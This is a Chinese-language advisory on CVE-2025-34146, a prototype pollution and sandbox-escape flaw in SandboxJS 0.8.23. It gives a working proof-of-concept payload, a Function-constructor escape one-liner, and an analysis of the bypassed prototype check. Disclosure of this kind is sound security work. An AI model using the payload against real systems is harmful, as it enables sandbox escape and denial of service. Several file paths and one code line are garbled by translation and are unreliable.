SandboxJS中的原型污染漏洞CVE-2025-34146
沙箱(Sandbox)指将一段代码置于一个与外部环境隔离的执行环境中运行,确保这段代码不会污染全局环境,同时也不被外部环境影响。
沙箱(Sandbox)在计算机安全中是用于隔离正在运行程序的安全机制,就像个封闭房间,通常用于执行未经测试或不受信任程序或代码。
一、基本情况
SandboxJS是一个用于隔离执行JavaScript代码的库,是JavaScript沙箱环境库,旨在提供安全的执行环境以防止恶意代码应用程序中肆虐。
SandboxJS可防止代码干扰外部程序或访问敏感资源,用于微前端架构、插件系统等场景,旨在通过独立环境安全运行不受信任代码片段。
栋科技漏洞库关注到SandboxJS 0.8.23版本被发现包含一个原型污染漏洞,漏洞现已被追踪为CVE-2025-34146,漏洞的CVSS评分为7.0。
二、漏洞分析
CVE-2025-34146漏洞位于SandboxJS 0.8.23版本,这一原型污染漏洞可能导致拒绝服务(DoS),并可能通过注入任意属性来逃离沙盒。
漏洞源于沙盒执行器逻辑中原型访问检查不足,特别是在处理返回的JavaScript函数对象方面,使攻击者通过特制代码实现任意属性注入。
在一个JavaScript沙盒库,在应用(无论是基于Web还是Node.js)中嵌入任何类型JavaScript代码时,实际是在授予整个kingdom访问权限。
通常情况下,我们希望依赖项中没有恶意代码,例如供应链攻击,因此,为了保护代码的正常运行,我们通常都会需要使用到沙盒化运作。
但在JavaScript环境中有许多全局范围的易受攻击的模块,若允许包含第三方代码,访问这些模块非常容易,通过eval或Function全局变量。
举个例子,代码如下:
[].filter.constructor("alert('jailpeak')")()
比较糟糕的是,将函数列入黑名单是极其困难的,因为代码很容易混淆,例如可以仅使用如下代码
(, ), [, ], !, and +. (source)
[+!+[]]+[] // This evaluates to the number one, go a head type that in console
SandboxJS通过解析js代码并在自己的js运行时执行它来解决这个问题,同时在这个过程中检查正在调用的每个原型函数。
这允许将任何东西都列入白名单,而不管混淆。
这意味着您可能会给不同的库不同的权限,例如允许一个库使用fetch(),或允许另一个库访问Node原型,具体取决于库的要求
仅此而已,从沙箱中获取的任何对象在沙箱外部使用时都将保持沙箱状态。
此外,eval和Function也是沙盒的,可以安全地递归使用,这就是为什么它们在SandboxJS中被认为是安全的全局变量。
如果你需要知道给某个库什么权限,有一种审计方法可以在运行时返回所有访问的函数和原型。
由于解析和执行是分开的,使用SandboxJS执行有时甚至比eval更快,从而可以提前准备执行代码。
以下是使用SandboxJS的最基本代码。这假设列出默认值时是安全的。
const code = `return myTest;`;
const scope = { myTest: "hello world" };
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
const result = exec(scope).run(); // result: "hello world"
如果您重用具有多个层的作用域,则可以定义多个作用域。
const sandbox = new Sandbox();
const scopeA = {a: 1};
const scopeB = {b: 2};
const scopeC = {c: 3};
const code = `a = 4; let d = 5; let b = 6`;
const exec = sandbox.compile(code);
exec(scopeA, scopeB, scopeC).run();
console.log(scopeA); // {a: 4}
console.log(scopeB); // {b: 2}
console.log(scopeC); // {c: 3, d: 5, b: 6}
您可以设置自己的while listed原型和全局属性,如下所示(alert and Node are added to whitelist in the following code):
const原型白名单=沙盒。安全原型;
const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;
prototypeWhitelist.set(Node, new Set());
const globals = {...Sandbox.SAFE_GLOBALS, alert};
const sandbox = new Sandbox({globals, prototypeWhitelist});
您可以审计一段代码,这将允许所有全局变量和原型,但随着时间的推移,将返回一个包含访问的全局变量和模型的json。
const code = `console.log("test")`;
console.log(Sandbox.audit(code));
1、原型访问检查
SandboxJS在dist/node/deexecutor.js#L226中执行原型访问检查。sub.sub返回sub.sub函数。
当SandboxJS使用sub.sub的__proto__进行检查时,由于sub_subo__的类型是函数,它将转到分支dist/executer.js#L225。
__proto__的hasOwnProperty返回false,因此没有捕获SandboxError。
类似地,在检查原型__proto__访问“”__proto_期间没有捕获到SandboxError。
同样地,有效载荷用(()=>“”)代替“”可以很好地工作,而有效载荷不能用{}工作。
__proto__,因为它不是一个函数,属于分支dist/exexecutor.js#L238,无法绕过白名单
2、沙盒函数/对象
SandboxJS使用Regex来检测代码dist/node/paparser.js#L261-263中声明的任何函数,并将其替换为沙盒版本dist/executer.js#L26。
由于payload{}.constructor.constructor(“return true”)未被任何正则表达式捕获,因此在沙盒函数中执行executeTree时未定义作用域,
因此可以在没有任何错误的情况下执行。
三、POC概念验证
var Sandbox = require("@nyariv/sandboxjs").default;
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
const code = `
"".sub.__proto__.__proto__.__defineGetter__('polluted', {}.constructor.constructor("return true"));
`;
const scope = { myTest: "test" };
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
const result = exec(scope).run();
console.log("After Attack: ", JSON.stringify(victim.__proto__));
四、影响范围
SandboxJS <= 0.8.23
五、修复建议
SandboxJS > 0.8.23
六、参考链接
